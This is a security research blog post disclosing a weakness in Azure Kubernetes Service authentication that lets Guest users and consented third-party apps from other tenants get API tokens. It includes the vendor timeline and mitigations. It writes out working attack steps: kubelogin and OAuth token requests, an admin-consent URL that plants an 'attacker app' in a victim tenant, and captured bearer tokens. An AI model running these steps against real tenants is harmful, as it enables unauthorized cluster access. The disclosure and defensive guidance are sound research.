Accessing Azure Kubernetes Service as Guest and Cross-Tenant

Posted by Christian August Holm Hansen on November 10, 2023 · 17 mins read

In our research, Binary Security found a weakness in Azure Kubernetes Service (AKS) that allows Guest users or third-party apps to access the AKS API without getting assigned any specific roles.

Microsoft originally responded that it “does not meet the definition of a security vulnerability for servicing”. However, after informing Microsoft that we would publish our findings, they doubled back and asked us to hold off publishing until they could plan some “enhancements” to eliminate the findings in the report. More details can be found in the Vendor Response section.

Background

A common way of configuring AKS Authentication is to use Entra ID authentication with Kubernetes RBAC. This means that users can authenticate to the cluster using their Entra ID credentials, and that Kubernetes RBAC is used to control role-based access within the cluster. This is a good way of managing access to the cluster, as you can use Entra ID groups to assign roles to users and manage AKS privileges. In practice, an Entra ID user is granted a cluster role to be able to fetch an Entra ID access token for the cluster. The claims in the users’ access token (e.g. Entra ID groups) will then be used within the cluster to determine what resources the user has access to based on cluster role bindings.

From Microsoft’s documentation here and here, it looks like an Entra ID principal (user, group or service principal) must have one of the following roles to access the cluster API:

  • Azure Kubernetes Service Cluster User Role
  • Azure Kubernetes Service Cluster Admin Role

However, it turns out that this is not the case. Any principal in the Entra ID tenant, including Guest users and third-party apps, can get an access token to the cluster API.

For an AKS cluster to be vulnerable, it has to be configured with Entra ID authentication and Kubernetes RBAC, like in the following image:

AAD + RBAC

Analyzing token issuance

A legitimate cluster user would normally use the following command to get a token:

az aks get-credentials --resource-group <resource-group> --name <cluster-name>

This results in a POST request to the listClusterUserCredential/listClusterAdminCredential Azure Resource Management API, which returns a kubectl context. As it turns out, this is the only thing you need the Cluster User/Admin Role for.

The cluster user context will look something like the following:

users:
- name: clusterUser_aks-poc_aks-poc-cluster
  user:
    exec:
      apiVersion: client.authentication.k8s.io/v1beta1
      args:
      - get-token
      - --environment
      - AzurePublicCloud
      - --server-id
      - 6dae42f8-4368-4678-94ff-3960e28e3630
      - --client-id
      - 80faf920-1908-4b52-b5ef-a8e7bedfc67a
      - --tenant-id
      - cb8bff8b-e82a-4629-aa12-9ad2ef2790be
      - --login
      - devicecode
      command: kubelogin
      env: null
      installHint: |2

        kubelogin is not installed which is required to connect to Entra ID enabled cluster.

        To learn more, please go to https://aka.ms/aks/kubelogin
      provideClusterInfo: false

So what happens if we run the kubelogin command ourselves through a proxy?

HTTPS_PROXY=http://127.0.0.1:8080 kubelogin get-token --client-id 80faf920-1908-4b52-b5ef-a8e7bedfc67a --server-id 6dae42f8-4368-4678-94ff-3960e28e3630 --tenant-id cb8bff8b-e82a-4629-aa12-9ad2ef2790be

...

POST /cb8bff8b-e82a-4629-aa12-9ad2ef2790be/oauth2/devicecode HTTP/1.1
Host: login.microsoftonline.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 92
Accept-Encoding: gzip, deflate
Connection: close

client_id=80faf920-1908-4b52-b5ef-a8e7bedfc67a&resource=6dae42f8-4368-4678-94ff-3960e28e3630

This is just a standard OAuth2 flow with the following parameters:

  • Tenant ID: cb8bff8b-e82a-4629-aa12-9ad2ef2790be
  • Client ID: 80faf920-1908-4b52-b5ef-a8e7bedfc67a. This is a Microsoft owned app called “Azure Kubernetes service AAD Client”.
  • Resource ID: 6dae42f8-4368-4678-94ff-3960e28e3630. This is the Service Principal “Azure Kubernetes Service AAD Server”, inherited from the Microsoft-owned app registration with the same ID. This ID will be the same for all Azure tenants.

This Service Principal has appRoleAssignmentRequired set to false, which means that all users in the tenant can get an access token for it, even external Guest users. This is also the reason why the kubelogin command works without any cluster user roles assigned, which we will see next.

Getting an access token as a Guest user

To get an access token as a Guest user, we can use the kubelogin command from the context found above.

kubelogin get-token --client-id 80faf920-1908-4b52-b5ef-a8e7bedfc67a --server-id 6dae42f8-4368-4678-94ff-3960e28e3630 --tenant-id cb8bff8b-e82a-4629-aa12-9ad2ef2790be
To sign in, use a web browser to open the page https://microsoft.com/devicelogin and enter the code GLPF66DBU to authenticate.
{"kind":"ExecCredential","apiVersion":"client.authentication.k8s.io/v1beta1","spec":{"interactive":false},"status":{"expirationTimestamp":"2023-07-07T13:59:45Z","token":"eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6Ii1LSTNROW5OUjdiUm9meG1lWm9YcWJIWkdldyIsImtpZCI6Ii1LSTNROW5OUjdiUm9meG1lWm9YcWJIWkdldyJ9.eyJhdWQiOiI2ZGFlNDJmOC00MzY4LTQ2NzgtOTRmZi0zOTYwZTI4ZTM2MzAiLCJpc3MiOiJodHRwczovL3N0cy53aW5kb3dzLm5ldC9jYjhiZmY4Yi1lODJhLTQ2MjktYWExMi05YWQyZWYyNzkwYmUvIiwiaWF0IjoxNjg4NzMzMzQ0LCJuYmYiOjE2ODg3MzMzNDQsImV4cCI6MTY4ODczODM4NSwiYWNyIjoiMSIsImFpbyI6IkFaUUFhLzhUQUFBQTA4QXc4d0FHY1RsY0ZDUHJXbktsZVc5NlNJdFR1QXIvNjdBeTlnQ2JwZUZFb1NnVTlSSmUrQlllUllJL2pxcVpjeFFweEhlT3ZRT1RnYUZCb0lXR1k2Sk5yUXlzOGZ6K2V0OXhtU2EzME5PeFg1ZGpQVjZEMnNqTEFFbEI1eHd4Qkc3MUp6ckRCMG4wNzNuM3lXV2xIeDdlTklMY05aa1dJWUx3WDl4UU1rcG5jWVRpKzUwSmpEKytyOStrOGFKeCIsImFsdHNlY2lkIjoiMTpsaXZlLmNvbTowMDAzN0ZGRTYzQTkwRjJEIiwiYW1yIjpbInB3ZCIsIm1mYSJdLCJhcHBpZCI6IjgwZmFmOTIwLTE5MDgtNGI1Mi1iNWVmLWE4ZTdiZWRmYzY3YSIsImFwcGlkYWNyIjoiMCIsImVtYWlsIjoiY2hyaXN0aWFuLmhhbnNlbi5henJ0ZXN0QG91dGxvb2suY29tIiwiaWRwIjoibGl2ZS5jb20iLCJpcGFkZHIiOiI1MS4xNzUuMjAuMTE5IiwibmFtZSI6ImNocmlzdGlhbi5oYW5zZW4uYXpydGVzdCIsIm9pZCI6IjUyMWQxMjIxLTI0N2QtNDMzOC04NjQxLWFjMmQ2NGMxY2UzYiIsInB1aWQiOiIxMDAzMjAwMkJENjU4RDU2IiwicmgiOiIwLkFVY0FpXy1MeXlyb0tVYXFFcHJTN3llUXZ2aENybTFvUTNoR2xQODVZT0tPTmpCSEFIQS4iLCJzY3AiOiJ1c2VyLnJlYWQiLCJzdWIiOiJFenBNcThLWWdYcVc5eHpKcWVmTmpNU1gtY1l1dXlYSi1jcGRmYTFJQ3hBIiwidGlkIjoiY2I4YmZmOGItZTgyYS00NjI5LWFhMTItOWFkMmVmMjc5MGJlIiwidW5pcXVlX25hbWUiOiJsaXZlLmNvbSNjaHJpc3RpYW4uaGFuc2VuLmF6cnRlc3RAb3V0bG9vay5jb20iLCJ1dGkiOiJILXlUZmhIQ1cwYWI0Rkg2YnBNS0FBIiwidmVyIjoiMS4wIiwid2lkcyI6WyIxM2JkMWM3Mi02ZjRhLTRkY2YtOTg1Zi0xOGQzYjgwZjIwOGEiXX0.jIq_Di841VTJG71Z0OhU3V38qot1qMWASmJUJmJsqlOrD7OAS77QQYzAu07v0BHKHBIzPY3Fyw04nr_3FmUw16JctUkv1kNkW4kRupJyixNd7-r4KrKU3UIn1cmSbXOSuusYz4mwwMkGTV53C5NLDqbmUH2RVwnkFh9X50gNXjByXj-bcQviYBFlCo7ldokJJFNlNEXV6smvXUafNJn9c0M1eGDR_ApEVQkSJFUR-3-tidUF5-A3uspCK0OsQpIyeolHxJLNXFE-c-TnRoBE3ErO1ok-3i7c0-srrTzeFrrpi288LyABkkUcRoWYr6D71GBz-_jzDsAE3AtHhQ87oA"}}

Using this on our cluster API shows that it grants us the expected access (which is currently limited to self subject rules review, since the k8s RBAC is not configured yet):


POST /apis/authorization.k8s.io/v1/selfsubjectrulesreviews HTTP/2
Host: aks-poc-cl-aks-poc-292c3c-dljgiwf5.hcp.norwayeast.azmk8s.io:443
Content-Type: application/json
Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6Ii1LSTNROW5OUjdiUm9meG1lWm9YcWJIWkdldyIsImtpZCI6Ii1LSTNROW5OUjdiUm9meG1lWm9YcWJIWkdldyJ9.eyJhdWQiOiI2ZGFlNDJmOC00MzY4LTQ2NzgtOTRmZi0zOTYwZTI4ZTM2MzAiLCJpc3MiOiJodHRwczovL3N0cy53aW5kb3dzLm5ldC9jYjhiZmY4Yi1lODJhLTQ2MjktYWExMi05YWQyZWYyNzkwYmUvIiwiaWF0IjoxNjg4NzMzNzM4LCJuYmYiOjE2ODg3MzM3MzgsImV4cCI6MTY4ODczNzYzOCwiYWlvIjoiRTJaZ1lERHpYSmowMDk2L1BQWEVvVm5hRjZMZEhoNTV6M2xZWWVuOHVIbjNyTFB6NmtJQSIsImFwcGlkIjoiYjkzZTU2NDYtYmE1OC00YzlkLTk1YjYtZmMzN2I1YTM5NjZmIiwiYXBwaWRhY3IiOiIxIiwiaWRwIjoiaHR0cHM6Ly9zdHMud2luZG93cy5uZXQvY2I4YmZmOGItZTgyYS00NjI5LWFhMTItOWFkMmVmMjc5MGJlLyIsIm9pZCI6ImU2YTVkYjUxLWQyMjgtNGE0OC04ZDQ4LWIyNTU1OTBmNWFiZSIsInJoIjoiMC5BVWNBaV8tTHl5cm9LVWFxRXByUzd5ZVF2dmhDcm0xb1EzaEdsUDg1WU9LT05qQkhBQUEuIiwic3ViIjoiZTZhNWRiNTEtZDIyOC00YTQ4LThkNDgtYjI1NTU5MGY1YWJlIiwidGlkIjoiY2I4YmZmOGItZTgyYS00NjI5LWFhMTItOWFkMmVmMjc5MGJlIiwidXRpIjoiNm1TeVRmU3p6VU8zMkpzRmRWTU1BQSIsInZlciI6IjEuMCJ9.YrmimW6r9eXFJRLRwFXlh5kHOBrBHVLvogrhrKN17eJe_n9vVRvtToUa8qPKRVpTCYRESRX4rq-O3AwLbSvBSbvRoGcfSCFlMsW5hbGp-U2_Jc7VzEvRAepyVUSauUR1JlVb-T6bpfseOWYZpCVdXS436fN1PXtGBmNH5XmOVGdEy9TduSDHeDbdO9Rou6qISsOEwNAUiVlMpVcUZzcMRLX_-9TeaLe5p7czm2wSdccDan_ECvCG367I93-ZVZ2ZO5BBqBdmj0F8Lp0-xS1IbB2pNK8AcY1szg7dDi5yA03UGv5SqY1MdrPKalbJjd0AjpQR4z2v5j1_zbADeKPcZQ
Content-Length: 217

{"kind":"SelfSubjectRulesReview","apiVersion":"authorization.k8s.io/v1","metadata":{"creationTimestamp":null},"spec":{"namespace":"default"},"status":{"resourceRules":null,"nonResourceRules":null,"incomplete":false}}

HTTP/2 201 Created
Audit-Id: 31141b67-bf7d-40ee-b691-906d93871f75
Cache-Control: no-cache, private
Content-Type: application/json
X-Kubernetes-Pf-Flowschema-Uid: 674b32e7-e07b-4733-8452-fd9f9748e37f
X-Kubernetes-Pf-Prioritylevel-Uid: ca2305f9-9cd7-4baf-8b2c-703d074dcdd2
Content-Length: 555
Date: Fri, 07 Jul 2023 12:47:31 GMT

{"kind":"SelfSubjectRulesReview","apiVersion":"authorization.k8s.io/v1","metadata":{"creationTimestamp":null},"spec":{},"status":{"resourceRules":[{"verbs":["create"],"apiGroups":["authorization.k8s.io"],"resources":["selfsubjectaccessreviews","selfsubjectrulesreviews"]}],"nonResourceRules":[{"verbs":["get"],"nonResourceURLs":["/api","/api/*","/apis","/apis/*","/healthz","/livez","/openapi","/openapi/*","/readyz","/version","/version/"]},{"verbs":["get"],"nonResourceURLs":["/healthz","/livez","/readyz","/version","/version/"]}],"incomplete":false}}

Granted, the k8s RBAC config has to be somewhat weak for this to have a real-world impact (we’ll show an example of this later), but it is still an interesting attack vector and I was surprised that this worked. On this point, I was interested in whether this was possible without guest access to the tenant, as Azure token claims such as aud and iss can be controlled by an attacker without direct access on multi-tenant applications.

Access token without guest access

To get cross-tenant access, we are dependent on Microsoft doing something wrong in the token validation. However, as I have seen from many other Entra ID apps, this is not uncommon as there are a lot of pitfalls.

The first thing I tried was to create a token with another tenant’s Service Principal:

POST /45ce77e2-d3d0-40d4-9784-dfb48c9fc52b/oauth2/v2.0/token HTTP/1.1
Host: login.microsoftonline.com
Content-Length: 183

client_id=24584d76-8376-4029-8896-1061dcde9c8e&client_secret=mMS8Q<...>&grant_type=client_credentials&scope=6dae42f8-4368-4678-94ff-3960e28e3630/.default

However, it seems like the iss or tid claims are validated, and the Cluster API didn’t like that:

POST /apis/authorization.k8s.io/v1/selfsubjectrulesreviews HTTP/2
Host: aks-poc-cl-aks-poc-292c3c-dljgiwf5.hcp.norwayeast.azmk8s.io:443
Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6Ii1LSTNROW5OUjdiUm9meG1lWm9YcWJIWkdldyIsImtpZCI6Ii1LSTNROW5OUjdiUm9meG1lWm9YcWJIWkdldyJ9.eyJhdWQiOiI2ZGFlNDJmOC00MzY4LTQ2NzgtOTRmZi0zOTYwZTI4ZTM2MzAiLCJpc3MiOiJodHRwczovL3N0cy53aW5kb3dzLm5ldC80NWNlNzdlMi1kM2QwLTQwZDQtOTc4NC1kZmI0OGM5ZmM1MmIvIiwiaWF0IjoxNjg4NzM0Njk2LCJuYmYiOjE2ODg3MzQ2OTYsImV4cCI6MTY4ODczODU5NiwiYWlvIjoiRTJaZ1lMQ1c4c3cxWjIyNjlXM20wanVpTEF2M0F3QT0iLCJhcHBpZCI6IjI0NTg0ZDc2LTgzNzYtNDAyOS04ODk2LTEwNjFkY2RlOWM4ZSIsImFwcGlkYWNyIjoiMSIsImlkcCI6Imh0dHBzOi8vc3RzLndpbmRvd3MubmV0LzQ1Y2U3N2UyLWQzZDAtNDBkNC05Nzg0LWRmYjQ4YzlmYzUyYi8iLCJvaWQiOiJhYjllMDAwYy1iZjBiLTQ3MDMtYTc0Ny0xMmVhNmM5MTQyMjciLCJyaCI6IjAuQVVzQTRuZk9SZERUMUVDWGhOLTBqSl9GS19oQ3JtMW9RM2hHbFA4NVlPS09OakJMQUFBLiIsInN1YiI6ImFiOWUwMDBjLWJmMGItNDcwMy1hNzQ3LTEyZWE2YzkxNDIyNyIsInRpZCI6IjQ1Y2U3N2UyLWQzZDAtNDBkNC05Nzg0LWRmYjQ4YzlmYzUyYiIsInV0aSI6IkJacTU5R2Z2NTAtOGlyT3U1MDZ5QUEiLCJ2ZXIiOiIxLjAifQ.NaDw6xgeMJN1uVSQ1LQIBv3OSg-gJlGJnQgOP4qVd2NjnCaO_SBNh1uwgP3xYPr6HkGc6exNzfirq2Y4UTkilgwBUyL-wD2LYJQaxQ4elcP6GwdNIYa_hLiQJcqetm1gVNnstL6DWGeVTkewgJR3gFA7_ISGgKMcCTJmSlH515YVcEnkKUiT6-paizLufHpXokUWiucHkE9OpneSi05hZBF-cPLI_WHy0FNJbNtBfpxfjRun3FG0lNbhsAqmwGTebzJaSoyk704OBr8F_-WCj405nhsoW-_D8g3-Ap9Fh0BOw8QwXKGZcH4vfAQhs-HuZs6as19cxelSDdgWxXMeqg
Content-Type: application/json
Content-Length: 217

{"kind":"SelfSubjectRulesReview","apiVersion":"authorization.k8s.io/v1","metadata":{"creationTimestamp":null},"spec":{"namespace":"default"},"status":{"resourceRules":null,"nonResourceRules":null,"incomplete":false}}

...


HTTP/2 401 Unauthorized
...

Next, I tried to set the tid claim to the tenant ID of the cluster:

POST /binarysecurity.no/oauth2/v2.0/token HTTP/1.1
Host: login.microsoftonline.com
Content-Length: 183

client_id=24584d76-8376-4029-8896-1061dcde9c8e&client_secret=mMS8<...>&grant_type=client_credentials&scope=6dae42f8-4368-4678-94ff-3960e28e3630/.default

To do this, you need your “attacker” app to be multi-tenant. The first time I saw that this was possible, I was really surprised, as I expected the Issuer and Tenant claims to be protected. I have seen many an app authenticating Azure tokens by only validating the Issuer and/or Audience, making them vulnerable.

POST /apis/authorization.k8s.io/v1/selfsubjectrulesreviews HTTP/2
Host: aks-poc-cl-aks-poc-292c3c-dljgiwf5.hcp.norwayeast.azmk8s.io:443
Content-Type: application/json
Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6Ii1LSTNROW5OUjdiUm9meG1lWm9YcWJIWkdldyIsImtpZCI6Ii1LSTNROW5OUjdiUm9meG1lWm9YcWJIWkdldyJ9.eyJhdWQiOiI2ZGFlNDJmOC00MzY4LTQ2NzgtOTRmZi0zOTYwZTI4ZTM2MzAiLCJpc3MiOiJodHRwczovL3N0cy53aW5kb3dzLm5ldC9jYjhiZmY4Yi1lODJhLTQ2MjktYWExMi05YWQyZWYyNzkwYmUvIiwiaWF0IjoxNjg4NzM0ODIxLCJuYmYiOjE2ODg3MzQ4MjEsImV4cCI6MTY4ODczODcyMSwiYWlvIjoiRTJaZ1lEQXkrN1QyanVyaTA2OU9GUHc1by94WkZRQT0iLCJhcHBpZCI6IjI0NTg0ZDc2LTgzNzYtNDAyOS04ODk2LTEwNjFkY2RlOWM4ZSIsImFwcGlkYWNyIjoiMSIsImlkcCI6Imh0dHBzOi8vc3RzLndpbmRvd3MubmV0L2NiOGJmZjhiLWU4MmEtNDYyOS1hYTEyLTlhZDJlZjI3OTBiZS8iLCJvaWQiOiJlNmUwOWRlMy02ZDgyLTRiMDAtOTY5Zi01ODdiMDBmZWJiOWEiLCJyaCI6IjAuQVVjQWlfLUx5eXJvS1VhcUVwclM3eWVRdnZoQ3JtMW9RM2hHbFA4NVlPS09OakJIQUFBLiIsInN1YiI6ImU2ZTA5ZGUzLTZkODItNGIwMC05NjlmLTU4N2IwMGZlYmI5YSIsInRpZCI6ImNiOGJmZjhiLWU4MmEtNDYyOS1hYTEyLTlhZDJlZjI3OTBiZSIsInV0aSI6Ik83TEhZUV9lODB1QjNSU1V2ZThIQUEiLCJ2ZXIiOiIxLjAifQ.QLazFr6jOiJZq03FvpQ9eFkCMouFkbXeDX3khbi2_547EU3faxCd1Z3oupr2LUKOq7kr9812ioX9WVZ5QPW8yznuMKMUtQCCDkE27fcjDHkOdS9_ZWz9d2PZk-_fdXAlk72x38CH_gZo-7j5nXZ6-y_oaXYKVfeFCbn41Vnh-rDOp4V-SPHv-vgga1UMGubQ7lh5aw7NSjERYqrQ4NCrp3ZBUqFkc0BirQb6JERTR43tLRuF2Cn6cc05ZsL9KsVneoVoBNIOHLw7gaydV-orh1yY9uJiDd4sQSo9BbKirN4mxBSVPHcyUq4VJqAavaXYnduENCwGXrZtsMrgmgserQ
Content-Length: 217

{"kind":"SelfSubjectRulesReview","apiVersion":"authorization.k8s.io/v1","metadata":{"creationTimestamp":null},"spec":{"namespace":"default"},"status":{"resourceRules":null,"nonResourceRules":null,"incomplete":false}}

...

HTTP/2 401 Unauthorized
...

That didn’t do the trick! Comparing a token issued by a cluster tenant app to the token above, the only difference was the appId. I didn’t have to grant a cluster user role to the appId/Service Principal to access the API. The only reason I could think of that made it reject this token was that the Azure Kubernetes AAD Server checks if a Service Principal corresponding to the token’s appId is registered in the cluster’s tenant. There’s a way to “inject” a Service Principal into a victim tenant, but it requires “admin consent”. Let’s try it out by visiting the following URL with our victim tenant:

https://login.microsoftonline.com/binarysecurity.no/adminconsent?client_id=24584d76-8376-4029-8896-1061dcde9c8e

This gives the following consent prompt:

adminconsent

The consent prompt doesn’t mention anything about accessing AKS clusters, only “Sign in and read user profile”, that’s weird! Anyway, now the “attacker app” is added as a Service Principal in our victim tenant:

az ad sp show --id 24584d76-8376-4029-8896-1061dcde9c8e

{
  "@odata.context": "https://graph.microsoft.com/v1.0/$metadata#servicePrincipals/$entity",
  "accountEnabled": true,
  "appDisplayName": "Attacker app",
  "appId": "24584d76-8376-4029-8896-1061dcde9c8e",
  "appOwnerOrganizationId": "45ce77e2-d3d0-40d4-9784-dfb48c9fc52b",
  "appRoleAssignmentRequired": false,
  "oauth2PermissionScopes": [
    {
      "adminConsentDescription": "a",
      "adminConsentDisplayName": "a",
      "id": "5088cecd-e1a5-4a12-ac03-caa9567eb06d",
      "isEnabled": true,
      "type": "User",
      "userConsentDescription": null,
      "userConsentDisplayName": null,
      "value": "test"
    }
  ],
  "servicePrincipalNames": [
    "api://24584d76-8376-4029-8896-1061dcde9c8e",
    "24584d76-8376-4029-8896-1061dcde9c8e"
  ],
  ...
}

And we can go ahead and access the cluster with the same token as before, issued by a foreign tenant’s app registration which is not explicitly granted access to the cluster:

POST /apis/authorization.k8s.io/v1/selfsubjectrulesreviews HTTP/2
Host: aks-poc-cl-aks-poc-292c3c-dljgiwf5.hcp.norwayeast.azmk8s.io:443
Content-Type: application/json
Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6Ii1LSTNROW5OUjdiUm9meG1lWm9YcWJIWkdldyIsImtpZCI6Ii1LSTNROW5OUjdiUm9meG1lWm9YcWJIWkdldyJ9.eyJhdWQiOiI2ZGFlNDJmOC00MzY4LTQ2NzgtOTRmZi0zOTYwZTI4ZTM2MzAiLCJpc3MiOiJodHRwczovL3N0cy53aW5kb3dzLm5ldC9jYjhiZmY4Yi1lODJhLTQ2MjktYWExMi05YWQyZWYyNzkwYmUvIiwiaWF0IjoxNjg4NzM0ODIxLCJuYmYiOjE2ODg3MzQ4MjEsImV4cCI6MTY4ODczODcyMSwiYWlvIjoiRTJaZ1lEQXkrN1QyanVyaTA2OU9GUHc1by94WkZRQT0iLCJhcHBpZCI6IjI0NTg0ZDc2LTgzNzYtNDAyOS04ODk2LTEwNjFkY2RlOWM4ZSIsImFwcGlkYWNyIjoiMSIsImlkcCI6Imh0dHBzOi8vc3RzLndpbmRvd3MubmV0L2NiOGJmZjhiLWU4MmEtNDYyOS1hYTEyLTlhZDJlZjI3OTBiZS8iLCJvaWQiOiJlNmUwOWRlMy02ZDgyLTRiMDAtOTY5Zi01ODdiMDBmZWJiOWEiLCJyaCI6IjAuQVVjQWlfLUx5eXJvS1VhcUVwclM3eWVRdnZoQ3JtMW9RM2hHbFA4NVlPS09OakJIQUFBLiIsInN1YiI6ImU2ZTA5ZGUzLTZkODItNGIwMC05NjlmLTU4N2IwMGZlYmI5YSIsInRpZCI6ImNiOGJmZjhiLWU4MmEtNDYyOS1hYTEyLTlhZDJlZjI3OTBiZSIsInV0aSI6Ik83TEhZUV9lODB1QjNSU1V2ZThIQUEiLCJ2ZXIiOiIxLjAifQ.QLazFr6jOiJZq03FvpQ9eFkCMouFkbXeDX3khbi2_547EU3faxCd1Z3oupr2LUKOq7kr9812ioX9WVZ5QPW8yznuMKMUtQCCDkE27fcjDHkOdS9_ZWz9d2PZk-_fdXAlk72x38CH_gZo-7j5nXZ6-y_oaXYKVfeFCbn41Vnh-rDOp4V-SPHv-vgga1UMGubQ7lh5aw7NSjERYqrQ4NCrp3ZBUqFkc0BirQb6JERTR43tLRuF2Cn6cc05ZsL9KsVneoVoBNIOHLw7gaydV-orh1yY9uJiDd4sQSo9BbKirN4mxBSVPHcyUq4VJqAavaXYnduENCwGXrZtsMrgmgserQ
Content-Length: 217

{"kind":"SelfSubjectRulesReview","apiVersion":"authorization.k8s.io/v1","metadata":{"creationTimestamp":null},"spec":{"namespace":"default"},"status":{"resourceRules":null,"nonResourceRules":null,"incomplete":false}}

HTTP/2 201 Created
Audit-Id: ab210203-99d3-4826-af25-63c738f18c7f
Cache-Control: no-cache, private
Content-Type: application/json
X-Kubernetes-Pf-Flowschema-Uid: 674b32e7-e07b-4733-8452-fd9f9748e37f
X-Kubernetes-Pf-Prioritylevel-Uid: ca2305f9-9cd7-4baf-8b2c-703d074dcdd2
Content-Length: 555
Date: Fri, 07 Jul 2023 13:25:24 GMT

{"kind":"SelfSubjectRulesReview","apiVersion":"authorization.k8s.io/v1","metadata":{"creationTimestamp":null},"spec":{},"status":{"resourceRules":[{"verbs":["create"],"apiGroups":["authorization.k8s.io"],"resources":["selfsubjectaccessreviews","selfsubjectrulesreviews"]}],"nonResourceRules":[{"verbs":["get"],"nonResourceURLs":["/api","/api/*","/apis","/apis/*","/healthz","/livez","/openapi","/openapi/*","/readyz","/version","/version/"]},{"verbs":["get"],"nonResourceURLs":["/healthz","/livez","/readyz","/version","/version/"]}],"incomplete":false}}

Admin consent is required for the example attacker app to have access, but all the third-party apps in your tenant that already have consent granted have access now. Have a look at the output of az ad sp list --all and filter out the apps that have appOwnerOrganizationId equal to your own or the Microsoft Services tenant id, 9188040d-6c67-4c5b-b112-36a304b66dad. All those apps will have implicit access to your AKS cluster APIs and any other App Registration that does not require app role assignments 😬

If you wonder how to do proper token validation, the gist is to only trust sub/oid, groups or appId for authentication, but validate aud, iss, tid etc. as well. Also, remember to require App Role Assignment for your apps if you don’t want all users, including guest users, to be able to access your app! See the following Microsoft docs for some good tips:

Am I vulnerable?

Probably not. For this to be exploitable in a real-world scenario, the k8s RBAC config has to be somewhat permissive, as by default users have no access. To be sure, the cluster’s role bindings should be examined. A trivial vulnerable example would be if a built-in Kubernetes role is used in a role binding, such as the following manifest:

apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
  namespace: default
  name: default-access
rules:
- apiGroups: [""]
  resources: ["pods"]
  verbs: ["*"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
  name: default-access-rolebinding
subjects:
- kind: Group
  name: system:authenticated
  apiGroup: rbac.authorization.k8s.io
roleRef:
  kind: Role
  name: default-access
  apiGroup: rbac.authorization.k8s.io

This role binding grants all authenticated users access to the pods resource. Cluster admins may assume that only users with access to running az aks get-credentials can access the API, and thus think that this is a safe configuration. This is not the case, and to protect the cluster, one has to follow the principal of least privilege in the k8s role bindings and avoid treating the Entra ID cluster API authentication as a security boundary.

The ClusterRole system:basic-user has the system:authenticated subject by default, so if this Role is granted any privileges beyond self subject access reviews, this would also be vulnerable. The following can be run to list all the role bindings and their subjects:

kubectl get rolebindings,clusterrolebindings --all-namespaces -o wide

Video PoC

When first reporting this to MSRC, they could not reproduce, so I made the video below creating a cluster from scratch and showing that a Guest user without any access can access the API with normal tools such as Kubelogin and kubectl.


Vendor Response

After reporting this to MSRC, they responded that they were investigating the issue. After seven weeks, they responded that they do not consider this a security vulnerability.

When sharing my intention to publish this, they wanted me to hold off until they had a fix planned. I had a meeting with MSRC and an engineer from the AKS team, who said the fix involved improved token validation and the validation of the claims aud, upn and idp. They also mentioned they are working on moving away from Service Principal access to the AKS API, which would fix the third party app access issues.

After a few months of waiting, MSRC asked that the following response was included in this post:

MSRC has investigated this issue and concluded that this issue is of moderate severity because validation of few claims per AKS documentation is yet to be performed, however it has a limited security impact on confidentiality, integrity and availability of the users and the service itself. We have shared the report with the team responsible for maintaining the service to ensure our customers are protected. The fix for this issue needs design enhancements to match the expectation shared in the blog and because the team intends to keep the customers protected, the team is in the process of fixing this issue per their timeline.

Timeline

  • April 28 2023: Sent description of the issue to MSRC (case number 79360)
  • April 30 2023: MSRC asked for a video POC and more details (which I provided)
  • May 13: MSRC responded that they are investigating the issue
  • June 15: Microsoft responds that it does not meet the definition of a security vulnerability.
  • August 3: Sent a draft of this post to Microsoft.
  • August 10: Meeting with MSRC and AKS representatives (for free). Agreed to wait with publishing until they had a plan for fixing the issue.
  • September 5: Asked if the post could be published and whether MSRC considers it a vulnerability.
  • September 13: MSRC responded that it is indeed a vulnerability and to keep the report confidential until they have a fix planned.
  • October 18: MSRC responds that the impact is limited and no reward will be issued.
  • November 10: Published this post.

Key takeaways

If you’re using Entra ID for authentication, we recommend the following:

  • Don’t treat Entra ID authentication as a security boundary if using Entra ID + k8s RBAC.
  • Prefer Entra ID group GUIDs as subjects in k8s RBAC role bindings.
  • Disable Kubernetes local accounts.
  • Limiting access to the AKS control plane API to specific IPs or making the cluster private can be a good defense-in-depth measure.
  • Be aware of what privileges Guest accounts and third party apps have in your tenant. All service principals and corresponding app registrations with appRoleAssignmentRequired=false will be accessible for Guest users.
  • If writing your own apps that authenticate with Entra ID, make sure to validate the token claims properly. Don’t rely on issuer, audience or other spoofable claims alone.

If you need help testing and securing your Entra ID setup, AKS or other Azure resources, feel free to reach out to us at contact@binarysecurity.no. If you got this far and want to keep up with our future posts, follow us on LinkedIn.